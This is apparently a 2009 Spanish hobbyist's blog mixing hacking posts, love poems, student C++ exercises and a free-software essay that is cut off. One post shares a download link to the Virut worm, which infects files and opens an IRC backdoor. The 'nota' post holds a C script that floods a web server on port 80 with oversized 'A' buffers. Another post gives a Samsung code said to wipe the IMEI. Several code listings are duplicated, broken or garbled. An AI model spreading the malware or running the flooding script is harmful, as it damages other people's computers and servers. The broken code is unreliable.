miércoles, 29 de abril de 2009

el virut en mis manos jojojo

que hermoso es realmente el cuanto de los virus y como el hombre le da su propio sentido a lo que llama virus , pues ya tengo el virut en mis manos y que hermoso es verlo ejecutandose y propagandose en el sistema (vm). esta misma noche empiezo a hacer el analisis de este pequeño travieso.


aca se los dejo (no me hago responsable de lo que le pase a sus pcs) no lo ejecuten si no se quieren infectar y aca dejo mas info.


Nombre: Virut
Nombre NOD32: Win32/Virut
Tipo: Gusano y caballo de Troya
Alias: Virut, Virus.Win32.FileInfector.gen, Virus.Win32.Virut.d, Virus:Win32/Virut.C, W32.Virut.B, W32.Virut.sa, Win32.Virtob.1.Gen, Win32/Virut, Win32/Virut, Win32/Virut.4960, Win32/Virut.5127, Win32/Virut.B, Win32/Virut.C, Win32/Virut.D, Win32/Virut.E
Fecha: 11/may/06
Actualizado: 25/mar/07
Plataforma: Windows 32-bit
Tamaño: 57,397 bytes

Se trata de un virus de código encriptado, que infecta archivos .EXE y .SCR de Windows.

Cuando un archivo infectado se ejecuta, el virus permanece en memoria, e intenta infectar todo archivo con las extensiones antes mencionadas, que sea accedido por cualquier otro proceso del sistema.

No infecta aquellos archivos cuyos nombres contengan alguna de las siguientes cadenas de texto:

psto
wc32
wcun
winc

Además, posee características de caballo de Troya, siendo capaz de abrir una puerta trasera en el equipo infectado, conectándose a un canal específico de un servidor de IRC, desde donde puede recibir comandos de un usuario remoto.

A través de esa conexión, el troyano también intentará descargar y ejecutar un archivo desde Internet.


enlace de la descarga:http://sites.google.com/site/radical00000000/Home/virut.rar?attredirects=0

domingo, 26 de abril de 2009

#*7337# el codigo de la muerte

nota pra todos si tienen algun samnsung no coloque #*7337#

le abre la banda a su cel :) pero le resetea el imei osea 00000000 significa que tu cel no tiene operadora fija :(


postdata: que rabia no he podido sobreescribir el imei:(

como ser parte de sun

http://osum.sun.com/main/authorization/signUp?target=http%3A%2F%2Fosum.sun.com%2F%3Fxgi%3D36FRJAt%26xgkc%3D1&emailAddress=user%40dominio

xD

mi tad lista jojo

espero añadirle mas caracteristicas

tad= tipo abstracto de datos

#include



using namespace std;

typedef struct nodo
{
int dato;
nodo *sig;
nodo *ant;


}tnodo;


typedef struct lista
{

int tam;
tnodo * cab;
tnodo * vent;
tnodo * ult;
}tlista;


typedef struct estudiantes

{
int id;
int cedula;
string nombre;


};
estudiantes losestudiantes;

tlista * crearlista()
{
tlista * lst =new tlista;
lst->tam =0;
lst->cab=0;
lst->vent=0;
lst->ult=0;
return lst;
}

int tamanolista(tlista *lst)
{

return lst->tam;

}

bool esvacialista(tlista *lst)

{

if(lst->tam==0)
{
return true;
}
else
{
return false;
}


}


estudiantes infolista(tlista * lst)
{
lst->vent->dato;

}

tlista * siglista (tlista *lst)
{

if(lst->tam==0)
{
return lst;
}

else if(lst->tam==1)
{
lst->vent=lst->cab;
return lst;

}

else if(lst->tam==1)
{
lst->vent=lst->vent->sig;
return lst;
}
return lst;
}


tlista * primlista(tlista *lst)
{
lst->vent=lst->cab;
return lst;

}
tlista * ultlista(tlista *lst)
{
lst->vent=lst->ult;
return lst;

}


tlista *antlista (tlista *lst)
{

if(lst->tam==0)
{
return lst;
}
else if(lst->tam==1)
{
return lst;

}
else
{

lst->vent = lst->vent->ant;


}
return lst;
}

tlista * insertarlista (tlista *lst,tdato ele)

{

tnodo *nuevo = new tnodo();
nuevo->dato=ele;
nuevo ->sig =0;
nuevo->ant=0;
if(lst->tam==0)
{

lst->cab=nuevo;
lst->vent=nuevo;
lst->tam=lst->tam+1;

}
else if(lst->vent !=lst->ult)
{
nuevo->sig=lst->vent->sig;
lst->vent->sig->ant=nuevo;
lst->vent->sig=nuevo;
nuevo->ant=lst->vent;
lst->vent=nuevo;
lst->tam += 1;
return lst;
}


else
{

nuevo->ant =lst ->vent;
lst->vent->sig=nuevo;
lst->tam++;
}
return lst;
}

tlista * eliminarlista(tlista * lst)
{

if(lst->tam==0)
{
return lst;
}
else if(lst->cab==lst->vent)
{
tnodo*aux=lst->cab;
lst->cab=lst->vent->sig;
lst->tam--;
lst->vent->ant=0;
delete aux;
return lst;
}

else if(lst->ult==lst->vent)
{
tnodo * aux=lst->vent;
lst->vent = lst->vent->ant;
lst->vent->sig=0;
lst->tam--;
lst->ult=lst->vent;
delete aux;
return lst;

}
else
{
tnodo *aux=lst->vent;
lst->vent->ant->sig=lst->vent->sig;
lst->vent->sig->ant=lst->vent->ant;
lst->vent=lst->vent->ant;
lst->tam--;
delete aux;
return lst;


}
return lst;
}


bool finlista()
{
if(lst->vent==0)
{
return
}

}
bool buscarlista (tlista * lst ,estudiantes x)
{

for(primlista(lst);!finlista(lst);siglista(lst))
{
if(infolista(lst)==x)
{
return true;

}

}
return false;
}

mi tad lista jojo

espero añadirle mas caracteristicas

tad= tipo abstracto de datos

#include



using namespace std;

typedef struct nodo
{
int dato;
nodo *sig;
nodo *ant;


}tnodo;


typedef struct lista
{

int tam;
tnodo * cab;
tnodo * vent;
tnodo * ult;
}tlista;


typedef struct estudiantes

{
int id;
int cedula;
string nombre;


};
estudiantes losestudiantes;

tlista * crearlista()
{
tlista * lst =new tlista;
lst->tam =0;
lst->cab=0;
lst->vent=0;
lst->ult=0;
return lst;
}

int tamanolista(tlista *lst)
{

return lst->tam;

}

bool esvacialista(tlista *lst)

{

if(lst->tam==0)
{
return true;
}
else
{
return false;
}


}


estudiantes infolista(tlista * lst)
{
lst->vent->dato;

}

tlista * siglista (tlista *lst)
{

if(lst->tam==0)
{
return lst;
}

else if(lst->tam==1)
{
lst->vent=lst->cab;
return lst;

}

else if(lst->tam==1)
{
lst->vent=lst->vent->sig;
return lst;
}
return lst;
}


tlista * primlista(tlista *lst)
{
lst->vent=lst->cab;
return lst;

}
tlista * ultlista(tlista *lst)
{
lst->vent=lst->ult;
return lst;

}


tlista *antlista (tlista *lst)
{

if(lst->tam==0)
{
return lst;
}
else if(lst->tam==1)
{
return lst;

}
else
{

lst->vent = lst->vent->ant;


}
return lst;
}

tlista * insertarlista (tlista *lst,tdato ele)

{

tnodo *nuevo = new tnodo();
nuevo->dato=ele;
nuevo ->sig =0;
nuevo->ant=0;
if(lst->tam==0)
{

lst->cab=nuevo;
lst->vent=nuevo;
lst->tam=lst->tam+1;

}
else if(lst->vent !=lst->ult)
{
nuevo->sig=lst->vent->sig;
lst->vent->sig->ant=nuevo;
lst->vent->sig=nuevo;
nuevo->ant=lst->vent;
lst->vent=nuevo;
lst->tam += 1;
return lst;
}


else
{

nuevo->ant =lst ->vent;
lst->vent->sig=nuevo;
lst->tam++;
}
return lst;
}

tlista * eliminarlista(tlista * lst)
{

if(lst->tam==0)
{
return lst;
}
else if(lst->cab==lst->vent)
{
tnodo*aux=lst->cab;
lst->cab=lst->vent->sig;
lst->tam--;
lst->vent->ant=0;
delete aux;
return lst;
}

else if(lst->ult==lst->vent)
{
tnodo * aux=lst->vent;
lst->vent = lst->vent->ant;
lst->vent->sig=0;
lst->tam--;
lst->ult=lst->vent;
delete aux;
return lst;

}
else
{
tnodo *aux=lst->vent;
lst->vent->ant->sig=lst->vent->sig;
lst->vent->sig->ant=lst->vent->ant;
lst->vent=lst->vent->ant;
lst->tam--;
delete aux;
return lst;


}
return lst;
}


bool finlista()
{
if(lst->vent==0)
{
return
}

}
bool buscarlista (tlista * lst ,estudiantes x)
{

for(primlista(lst);!finlista(lst);siglista(lst))
{
if(infolista(lst)==x)
{
return true;

}

}
return false;
}

miércoles, 22 de abril de 2009

cuadrado magico en c++

http://sites.google.com/site/radical00000000/Home/magi2.cpp?attredirects=0

alejado del juacking y demas relaciones :(

queridos lectores como podeis ver mi blog esta parado y se debe a que el estudio(que me lo pela) me esta consumiendo mucho tiempo , espero despues de estas dos semanas empezar a postear cosas interesantes pero mientras tengais paciencia .


gracias de antemano 00000000

domingo, 19 de abril de 2009

hoy te quiero bastante

hoy te quiero mas que ayer , pero menos que mañana
hoy quiero que sepas que eres mi lunada
hoy estas en mi kernel ,mi corazon y sonata
hoy eres la luz por la que me levanto en las mañanas
hoy te abrazare si mi amor no me delata
hoy esperare besarte hasta mañana

martes, 14 de abril de 2009

nota

#include
#include
#include
#include
#include
#include
#include
#include
#include

#define A 0x41
#define PORT 80

struct sockaddr_in hrm;

int conn(char *ip)
{
  int sockfd;
  hrm.sin_family = AF_INET;
  hrm.sin_port = htons(PORT);
  hrm.sin_addr.s_addr = inet_addr(ip);
  bzero(&(hrm.sin_zero),8);
  sockfd=socket(AF_INET,SOCK_STREAM,0);
if((connect(sockfd,(struct sockaddr*)&hrm,sizeof(struct sockaddr)))<0)
  {
  perror("connect");
  exit(0);
  }
return sockfd;
}
int main(int argc, char *argv[])
{
  int i,x;
  char buf[300],a1[8132],a2[50],host[100],content[100];
  char *ip=argv[1],*new=malloc(sizeof(int));
  sprintf(new,"\r\n");
  memset(a1,'\0',8132);
  memset(host,'\0',100);
  memset(content,'\0',100);
  a1[0] = ' ';
  for(i=1;i<8132;i++)
  a1[i] = A;
  if(argc<2)
  {
  printf("%s: IP\n",argv[0]);
  exit(0);
  }
  x = conn(ip);
  printf("[x] Connected to: %s.\n",inet_ntoa(hrm.sin_addr));
  sprintf(host,"Host: %s\r\n",argv[1]);
  sprintf(content,"Content-Length: 50\r\n");
  sprintf(buf,"GET / HTTP/1.0\r\n");
  write(x,buf,strlen(buf));
  printf("[x] Sending buffer...");
  for(i=0;i<2000;i++)
  {
  write(x,a1,strlen(a1));
  write(x,new,strlen(new));
  }
  memset(buf,'\0',300);
  strcpy(buf,host);
  strcat(buf,content);
  for(i=0;i<50;i++)
  a2[i] = A;
  strcat(buf,a2);
  strcat(buf,"\r\n\r\n");
  write(x,buf,strlen(buf));
  printf("done!\n");
  close(x);

}

videotutos Metasploit Framework

Algunos buenos tutoriales en video del Metasploit Framework


http://www.vulnerabilityassessment.co.uk/msfcliswf.html
http://www.vulnerabilityassessment.co.uk/win32_execswf.html
http://www.vulnerabilityassessment.co.uk/1stmetasploit.html
http://www.vulnerabilityassessment.co.uk/win32_bin_stg_upexecswf.html
http://www.learnsecurityonline.com/vid/MSF3-met/MSF3-met.html
http://www.learnsecurityonline.com/vid/MSF3-nc-reg-hack/MSF3-nc-reg-hack.html

fuente dragonjar.org

lunes, 13 de abril de 2009

muchos live cds para descargar

esta es la lista de los live que estan en  http://www.livecdlist.com/

se los recomiendo muy buena

aca la lista

Slax 10 4.8

  MiniCD, CD, USB Flash Drive Desktop, OS Installation 
Ubuntu 7 4.57143
  CD, DVD, USB Flash Drive Desktop, OS Installation 
Damn Small Linux 6 4.166665
  business card CD, MiniCD, CD Desktop, OS Installation 
Knoppix 4 4.75
  CD, DVD Desktop, OS Installation 
SystemRescueCD 4 4.5
  MiniCD, CD Rescue 
Puppy Linux 4 5
  MiniCD, CD Desktop 
Debian 3 5
  MiniCD, CD, USB Flash Drive Desktop, OS Installation, Rescue 
Gentoo 2 4
  CD, DVD OS Installation, Rescue 
PCLinuxOS 2 3.5
  CD Desktop 
BackTrack 2 5
  CD, USB Flash Drive Security 
Fedora 2 4.5
  CD Desktop, OS Installation 
NimbleX 1 5
  MiniCD Desktop 
Cool Linux CD 1 4
  CD Desktop 
Kurumin 1 5
  CD Desktop 
Gnoppix 1 5
  CD Desktop 
Suse Linux 1 4
  CD Desktop 
MEPIS 1 5
  CD Desktop 
Quantian 1 5
  CD, DVD GIS, Science 
Feather Linux 1 5
  MiniCD, CD Desktop 
Knoppix KDE 1 4
  CD Desktop 
Mandriva One 1 4
  CD Desktop 
Kanotix 1 4
  CD Desktop, OS Installation 
VectorLinux 1 5
  CD Desktop 
Zen Linux 1 5
  CD Desktop 
LinspireLive! 1 2
  CD Desktop 
Windows PE 1 3
  CD Desktop 
Kubuntu 1 4
  CD Desktop 
Elive 1 3
  CD Desktop 
Ultimate Boot CD 1 3
  CD Desktop 
Kate OS LIVE 1 3
  CD Desktop 
Benix Kanotix 1 4
  CD Desktop 
Ging 1 4
  MiniCD, CD Desktop 
NimbleX 1 5
  CD Desktop 
GParted LiveCD 1 5
  business card CD, MiniCD, CD System Administration 
Sabayon 1 5
  CD Desktop 
Adios 0 0
  CD Education 
dyne:bolic 0 0
  CD Clustering, Desktop, Media Production 
Arabbix 0 0
  CD Desktop 
Augustux 0 0
  CD Desktop 
Blin Linux 0 0
  CD Desktop 
ByzantineOS 0 0
  business card CD, MiniCD, CD Home Entertainment 
CDlinux 0 0
  business card CD, MiniCD, CD Rescue 
ClusterKnoppix 0 0
  CD Clustering 
DemoLinux 0 0
  CD Desktop 
Devil-Linux 0 0
  CD Firewall, Server 
eLearnix 0 0
  MiniCD, CD Education 
FIRE 0 0
  CD Forensics 
Freeduc 0 0
  CD Desktop, Education, GIS 
GeeXboX 0 0
  business card CD, MiniCD, CD Home Entertainment 
Hakin9 Live 0 0
  CD Security 
LNX-BBC 0 0
  CD Desktop 
Morphix 0 0
  CD Desktop 
MoviX 0 0
  CD Desktop 
Oralux 0 0
  CD Desktop 
elpicx 0 0
  CD, DVD Education 
Plan-B 0 0
  CD Desktop 
rpm-livelinuxcd 0 0
  CD Desktop 
Sentry Firewall CD 0 0
  CD Desktop 
Sulix 0 0
  CD Desktop 
Trx Live Firewall 0 0
  CD Desktop 
Knoppix STD 0 0
  CD Security 
Local Area Security Linux 0 0
  CD Desktop 
Linuxcare Bootable Toolbox 0 0
  CD Desktop 
Repairlix 0 0
  CD Desktop 
BhavyaOS 0 0
  CD Desktop 
LitruX 0 0
  CD Desktop 
SuperRescue 0 0
  CD Desktop 
Mondo 0 0
  CD Desktop 
PLD RescueCD 0 0
  CD Desktop 
Rxlinux 0 0
  CD Desktop 
SoL-diag 0 0
  CD Desktop 
stresslinux 0 0
  CD Desktop 
Virtual Linux 0 0
  CD Desktop 
TeX Live 0 0
  CD Desktop 
STUX 0 0
  CD Desktop 
Ankur 0 0
  CD Desktop 
PHLAK 0 0
  CD Desktop 
KnoppiXMAME 0 0
  MiniCD, CD Gaming 
RIP 0 0
  CD Desktop 
CDMEDICPACSWEB 0 0
  CD Medical 
CHRONOMIUM 0 0
  MiniCD, CD Windows Antivirus 
distccKNOPPIX 0 0
  business card CD, MiniCD, CD Clustering 
Echelon Linux 0 0
  CD System Administration 
GIS-Knoppix 0 0
  CD GIS 
Knoppel 0 0
  CD Desktop 
jollix 0 0
  CD Gaming, Home Entertainment 
GNU/Linux Kinneret 0 0
  CD Education 
Kix 0 0
  CD Desktop 
knopILS 0 0
  CD Desktop 
Knoppix Japanese Edition 0 0
  CD Desktop 
Knoppix-MiB 0 0
  CD Secure Desktop 
KnoppMyth 0 0
  CD Home Entertainment 
Knoppix en español 0 0
  CD Desktop 
gnome2live 0 0
  CD Desktop 
Knoppix for Kids 0 0
  CD Education 
Linux Magazine miniCD 0 0
  CD Desktop 
Linux-EduCD 0 0
  CD Desktop 
LiveOIO 0 0
  CD Desktop 
LivePlone 0 0
  CD Desktop 
BerliOS MiniCD 0 0
  MiniCD, CD Desktop

Mediainlinux 0 0
  CD Desktop 
mediapackknoppix 0 0
  CD Desktop 
MIOLUX 0 0
  CD Desktop 
NIOde 0 0
  CD Desktop 
OpenGroupware Knoppix CD 0 0
  CD Desktop 
Overclockix 0 0
  CD Desktop 
Pilot Linux 0 0
  CD Desktop 
Skolelinux 0 0
  CD Desktop 
Slix 0 0
  CD Desktop 
SQL-Ledger Knoppix CD 0 0
  CD Desktop 
Penguin Sleuth Bootable CD 0 0
  CD Desktop 
Wendyx 0 0
  CD Desktop 
N-iX Desktop Linux 0 0
  CD Desktop 
LiveZope 0 0
  CD Desktop 
Knoppix 3.3 NY/NYLUG edition 0 0
  CD Desktop 
PLoP Linux 0 0
  CD Desktop 
T2 @Live 0 0
  CD Desktop 
BDI-Live 0 0
  MiniCD, CD CNC Metalworking 
Public IP ZoneCD 0 0
  CD Desktop 
IndLinux Hindi 0 0
  CD Desktop 
Morphix-NLP 0 0
  CD Desktop 
slavix 0 0
  CD Desktop 
Aurox Live 0 0
  CD Desktop 
bioknoppix 0 0
  CD Bioinformatics, Education 
DNALinux 0 0
  CD Bioinformatics 
Trinux 0 0
  CD Desktop 
AL-AMLUG Live CD 0 0
  CD Desktop 
PCG-C1VN Live CD 0 0
  CD Desktop 
XoL 0 0
  CD Desktop 
Trinity Rescue Kit 0 0
  CD Desktop 
PLD Live CD 0 0
  CD Desktop 
Pequelin 0 0
  CD Desktop 
AdvanceCD 0 0
  CD Gaming 
GoboLinux 0 0
  CD Desktop 
ABC Linux 0 0
  CD Desktop 
Bootable Cluster CD 0 0
  MiniCD, CD Clustering 
Lisp Resource Kit 0 0
  CD Desktop 
eduKnoppix 0 0
  CD Education 
Freepia 0 0
  business card CD, MiniCD, CD Home Entertainment 
Formilux 0 0
  CD Desktop 
WarLinux 0 0
  CD Desktop 
tomsrtbt 0 0
  CD Desktop 
KnoppixQuake 0 0
  MiniCD, CD Server 
JUX 0 0
  CD Education 
Timo's Rescue CD 0 0
  CD Desktop 
Flonix 0 0
  CD Desktop 
Lin4Astro 0 0
  CD Accounting 
Shabdix 0 0
  CD Desktop 
Kazit 0 0
  CD Desktop 
INSERT 0 0
  business card CD, MiniCD, CD Rescue, Security 
ANTEMIUM 0 0
  CD Desktop 
PXES 0 0
  CD Desktop 
Dappix 0 0
  CD Desktop 
Kalango 0 0
  CD Desktop 
Dizinha 0 0
  CD Desktop 
NetBoz 0 0
  CD Desktop 
ffsearch-LiveCD 0 0
  MiniCD, CD Server 
CHAOS 0 0
  business card CD, MiniCD, CD Clustering 
SENTINIX 0 0
  CD Desktop 
PlumpOS 0 0
  CD Desktop 
LinuxDefender Live! 0 0
  CD Desktop 
MiniKnoppix 0 0
  CD Desktop 
Tilix 0 0
  CD Desktop 
NordisKnoppix 0 0
  CD Desktop 
PLAC 0 0
  CD Desktop 
GPUL 0 0
  CD Education 
TPM Security Server 0 0
  CD Desktop 
KursLinux 0 0
  CD Education 
Baltix 0 0
  CD Desktop 
Lonix 0 0
  CD Desktop 
GISIX 0 0
  CD GIS 
Zaurus Development Version of DemoLinux 0 0
  CD Desktop 
Xebian 0 0
  CD Desktop 
Gentoox 0 0
  CD Desktop 
Salvare 0 0
  CD Desktop 
StreamBOX-LiveCD 0 0
  CD Desktop 
floppyfw 0 0
  business card CD, MiniCD, CD Firewall 
KibZiLLa 0 0
  CD Desktop 
cdlinux.pl 0 0
  CD Desktop 
Slackware (Disc 2) 0 0
  CD Desktop 
uOS 0 0
  CD Desktop 
Phrealon 0 0
  CD Desktop 
muLinux 0 0
  CD Desktop 
Linux Live-CD Router 0 0
  MiniCD, CD Firewall 
Berry Linux 0 0
  CD Desktop 
Emergency CD 0 0
  MiniCD, CD Rescue 
GNUstep live CD 0 0
  CD Desktop 
mGSTEP Live CD 0 0
  CD Desktop 
LinuxConsole 0 0
  CD Desktop 
Legnoppix 0 0
  CD Robotics 
GamesGo 0 0
  CD Gaming 
FlashMob ISO 0 0
  MiniCD, CD Clustering 
eMoviX 0 0
  business card CD, MiniCD, CD Home Entertainment 
MoviX2 0 0
  CD Desktop 
austrumi 0 0
  CD Desktop 
Luit Linux 0 0
  CD Desktop 
3Anoppix 0 0
  CD Desktop 
KNOPPIX-BV1AL 0 0
  CD Desktop 
fiubbix 0 0
  CD Education 
Kaella 0 0
  CD Education
Kaella 0 0
  CD Education 
VigyaanCD 0 0
  CD Desktop 
Slo-Tech Linux livecd 0 0
  CD Desktop 
BeatrIX Linux 0 0
  CD Desktop 
MiniKazit 0 0
  CD Desktop 
Knoppix64 0 0
  CD Desktop, Development 
WOMP! 0 0
  CD Desktop 
Xfld 0 0
  CD Desktop 
redWall Firewall 0 0
  CD Desktop 
Hikarunix 0 0
  MiniCD, CD Gaming 
Julex 0 0
  CD Desktop 
UserLinux 0 0
  CD Desktop 
SciLix 0 0
  CD Desktop 
DeadCD 0 0
  CD Desktop, Rescue 
NavynOs 0 0
  CD Desktop 
KNOPPIX-EXTON 0 0
  CD Desktop 
Helix 0 0
  CD Forensics 
Guadalinex 0 0
  CD Desktop 
GamesKnoppix 0 0
  CD Gaming 
Clusterix 0 0
  CD Clustering 
Auditor security collection 0 0
  CD Security 
basilisk 0 0
  CD Desktop 
ParallelKnoppix 0 0
  CD Desktop 
LLGP 0 0
  CD Desktop 
GeoMorphix 0 0
  CD GIS 
Conectiva Linux Live CD 0 0
  CD Desktop 
ATMission 0 0
  CD Desktop, Server 
KnoSciences 0 0
  CD Education 
g:Standard 0 0
  CD Desktop 
Toothpix 0 0
  CD Desktop 
Càtix 0 0
  CD Desktop 
Mutagenix 0 0
  CD Desktop 
StarCD 0 0
  CD Desktop 
LUC3M 0 0
  CD Desktop 
Whoppix 0 0
  CD Desktop 
Pollix 0 0
  CD Desktop 
Danix 0 0
  CD Desktop 
EduMorphix 0 0
  CD Education 
GisMorphix 0 0
  CD GIS 
BEERnix 0 0
  CD Desktop 
Burnix 0 0
  CD Clustering 
Klax 0 0
  CD Desktop 
FreeSBIE 0 0
  CD Desktop 
NetBoz 0 0
  CD Desktop 
FreeBSD LiveCD 0 0
  CD Desktop, OS Installation, Rescue 
Frenzy 0 0
  CD Rescue, Security 
LiveBSD 0 0
  CD Desktop 
avast! BART CD 0 0
  CD Rescue, Windows Antivirus 
OpenVistA VivA 0 0
  CD Desktop 
ROCK Linux 0 0
  CD Desktop 
Flash Linux 0 0
  CD Desktop 
LG3D LiveCD 0 0
  CD Desktop 
LAMPPIX 0 0
  CD Server 
eZ publish LiveCD 0 0
  CD Server 
AmaroK Live 0 0
  CD Home Entertainment 
GNOME LiveCD 0 0
  CD Desktop 
m0n0wall 0 0
  CD Desktop 
Network Security Toolkit 0 0
  CD Desktop 
Caster 0 0
  CD Media Production 
grml 0 0
  MiniCD, CD Rescue, System Administration 
XORP Live CD 0 0
  CD Desktop 
Shinux 0 0
  CD Desktop 
Hax Desktop 0 0
  CD Desktop 
X-Evian 0 0
  CD Desktop 
TeaM-TL 0 0
  CD Desktop 
gNOX 0 0
  CD Desktop 
Tao Live 0 0
  CD Desktop 
Phaeronix 0 0
  CD Desktop 
SLYNUX 0 0
  CD Desktop 
TiNA Knoppix 0 0
  CD Desktop 
Xen Demo CD 0 0
  CD Desktop 
tlf-morphix 0 0
  CD Desktop 
aquamorph 0 0
  CD Desktop 
Pyro Live CD 0 0
  CD Desktop 
Monoppix 0 0
  CD Desktop 
Mono Live 0 0
  CD Desktop 
The Backpack Programmer's LiveCD 0 0
  CD Desktop 
Santa Fe Desktop Linux 0 0
  CD Desktop 
Stanix Professional 0 0
  CD Desktop 
Pentoo 0 0
  CD Desktop 
NetMAX DeskTOP 0 0
  CD Desktop 
Freeduc-games 0 0
  CD Gaming 
Symphony OS 0 0
  CD Desktop 
ELE 0 0
  MiniCD, CD Secure Desktop 
SNAPPIX 0 0
  CD Desktop 
BOSS Live CD 0 0
  CD Security 
AliXe 0 0
  CD Desktop 
PaiPix 0 0
  CD Desktop 
loonix-live 0 0
  CD Desktop 
ECGL 0 0
  CD Development 
Pardus Live CD 0 0
  CD Desktop 
SchilliX 0 0
  CD Desktop 
Komodo Linux 0 0
  CD Desktop 
Crash Recovery Kit for Linux 0 0
  MiniCD, CD Rescue 
UHU-Linux Live CD 0 0
  CD Desktop 
BrutalWareII 0 0
  MiniCD, CD Security 
LFS LiveCD 0 0
  CD OS Installation, Rescue 
QiLinux 0 0
  CD Desktop 
WHAX 0 0
  CD Desktop 
XAMPPonCD 0 0
  CD Desktop
TheOpenCD 0 0
  CD Desktop 
Kurumin Games 0 0
  CD Gaming 
KCPenTrix 0 0
  CD Security 
Operator 0 0
  CD Desktop 
Thinstation 0 0
  CD Desktop 
g:Mini 0 0
  MiniCD, CD Desktop 
FCCU GNU/Linux Forensic Boot CD 0 0
  CD Forensics 
XNUXER 0 0
  CD Desktop 
Snøfrix 0 0
  CD Desktop 
OnebaseGo 0 0
  CD Desktop 
DevelopGo 0 0
  CD Development 
StudioGo 0 0
  CD Desktop 
SLAX KillBill Edition 0 0
  CD Desktop 
SLAX Popcorn Edition 0 0
  CD Desktop 
SLAX Frodo Edition 0 0
  CD Desktop 
KANOTIX CPX-MINI 0 0
  CD Desktop, OS Installation 
Myah OS 0 0
  CD Desktop 
Wolvix 0 0
  CD Desktop 
SLAMPP 0 0
  CD Desktop 
BeleniX 0 0
  CD Desktop 
Arudius 0 0
  CD Security 
MitraX 0 0
  CD Desktop 
Anonym.OS 0 0
  CD Secure Desktop 
SlackPen 0 0
  CD Desktop 
NeWBIE 0 0
  CD Desktop 
Musix GNU+Linux 0 0
  CD Desktop 
Parsix 0 0
  CD Desktop 
Kaboot 0 0
  CD Desktop, Rescue, Science 
Archie 0 0
  CD Desktop 
Kororaa 0 0
  CD Desktop, OS Installation 
FuguIta 0 0
  CD Desktop 
Parted Magic 0 0
  CD Desktop

Hacer una subrutina que registre 20 números en un arreglo de 1 dimensión y luego muestre en la pantalla los números ingresados en orden inverso y lo

#include #include

using namespace std;

int rutina (int vector[19])
{
   
  for(int i =0;i<=19;i++)   {   cout<<"ingrese un numero";   cin>>vector[i];
   
  }
   
  for(int i=19;i>=0;i--)
  {
  cout<<"\n"<
  }
   
  cout<<"pares";
   
  for(int i =0;i<=19;i++)
  {
  if(vector[i]%2==0)
  {
   
  cout<<"\n"<  }
   
  }
   
  system("pause");
  }
int vector[19];
 main()

{
  
 rutina (vector);
}

Hacer una subrutina que de lectura a 15 notas en un arreglo de 1D, luego escriba las notas aprobatorias.

#include
#include

using namespace std;

void nota(float nota[14]);

float notas [14];
float pasaron[14];

main ()
{
   
  for(int i=0;i<=14;i++)   {   cout<< "ingrese la nota";   cin >> notas[i];
   
   
  }
   
  nota(notas); 
   
   
   
  }
   
  void nota(float nota[14])
{
  for(int i=0;i<=14;i++)   {   if( notas[i]>=3.0)
  {
  pasaron[i]=notas[i];
  }
   
   
   
  }
   
  for(int i=0;i<=14;i++)
  {
   
  cout<<"\n"<   
   
   
   
  }
   
  system("pause");
   
  }

-Hacer una subrutina que retorne la primera vocal leída del teclado. *Se supone que se leen uno a uno

#include
#include

using namespace std;
void funcion (string palabra);

void funcion (string palabra)
{
 
  for(int i=0;i<=10;i++)   {   if(palabra[i] =='a')   {   cout<>palabra;
   
  funcion (palabra);
  

  }

sumar dos vectores

#include
#include
void invertirnumero(char numero[], int invertido[], int contador);
void suma(int invertido[],int invertido2[],int contador, int contador2);
const int m=401;
const int n=401;
const int result= 402;

using namespace std;

int main(int argc, char *argv[])
{
  int result[result];
  char numero[m];
  char num2[n];
  int contador=0;
  int contador2=0;
  int invertido[m];
  int invertido2[n];
   
  cout<<"digite el primer numero";   cin.getline(numero,401);   cout<< "digite el segundo numero";   cin.getline(num2,401);         for (int i=0; i<401; j="0;" j="0;" for="" int="" k="contador;k<401;k++)" void="" int="" int="" int="" int="" int="" int="" aux="0;" int="" mayor="contador2;" else="" mayor="contador;" for="" int="" i="0;i<=mayor;" aux="result[i]/10" y="" lleva="" int="" i="mayor;i">=0;i--)
  cout<

by mi  novia

jueves, 9 de abril de 2009

i love cosita

solo le queria decir a los juackers ,lammers, script kiddies y demas guarichas que me juackearon el corazon y que estoy feliz que me hayan encontrado esa vulnerabilidad, al parecer el virus se llama liz de la familia neria y se reproduce mediante el autorun.ini de mi corazon y cada dia infecta mas los archivos de mi sistema.


eres el kernel de mi linux cosita



liz para mis ojos
liz para mi corazon
liz que sueñas entre la batalla yo soy tu vasallo
liz que corre de el verdugo traicionero
aqui estoy yo amada para mirarte a los ojos
aqui estoy yo amada para decirte te quiero

viernes, 3 de abril de 2009

eliminar un archivo de forma segura en c

#include
#include
int main()
{
  char*jojojo;
  int i;

jojojo = "radical.txt";
DeleteFile(jojojo); 
  FILE *radicalvirus;
  radicalvirus = fopen("radical.txt", "w");  
 for(i=0;i<=1500;i++)
  {
  fprintf(radicalvirus,"00000000"); }
  fclose (radicalvirus);  
  DeleteFile(jojojo); 
   
   
}  

jueves, 2 de abril de 2009

como hacer dinero con software libre realidad o ficcion?

Parecería que uno apenas pudiese encender el televisor, sin escuchar o ver alguna mención al sistema operativo libre GNU/Linux, similar a UNIX, el cual es la base de un movimiento mundial. Este otorga 4 libertades fundamentales al software, respecto a los usuarios y a los desarrolladores.
Libertad 1
Ejecutar el programa, para cualquier propósito. 
 
Libertad 2
Estudiar el funcionamiento del programa, y adaptarlo a sus necesidades. 
 
Libertad 3
Redistribuir copias. 
 
Libertad 4  
Mejorar el programa, y poner estas a disposición del público, para beneficio de toda la comunidad.

Como consecuencia de estas 4 libertades, el Software Libre nos ofrece la libertad de aprender, enseñar, competir, elección y expresión.

Cuando una persona u organización compra software privativo, pierde automáticamente estas libertades dado que su licencia restringe su copia, redistribución, modificación y uso a lo especificado en la licencia. Estas licencias son en exceso onerosas, y limitan la capacidad de crecimiento de quien las adquiere.

Si usted utiliza software privativo, deberá pagar licencias por:
Sistema operativo Paquetes de ofimática Programas Antivirus, etc…

Además de otros servicios, como:
Instalación Soporte Técnico Documentación, etc…

Para las empresas, donde los costos son críticos y la competitividad feroz, el software libre representa la mejor opción al momento de elegir. Además por el excelente manejo de recursos y su compatibilidad con la mayoría de entornos.

¿Como es el negocio del software libre? 

Muchos se harán esta pregunta, si GNU/Linux es libre y no es una empresa, entonces ¿donde esta el negocio?.

El software es libre, mas no es gratis. Las personas que viven del desarrollo de proyectos, también se lucran; GNU/Linux en forma creciente, se está convirtiendo en la mayor fuente de ingresos para el sector de la informática.

Desarrollo De Software 
Realizar un desarrollo a gran escala y en menos tiempo, es posible si se desarrolla con base en la filosofía del software libre. Toda la comunidad esta presta a colaborar con cualquier persona o empresa que lo necesite.

Soporte Técnico 
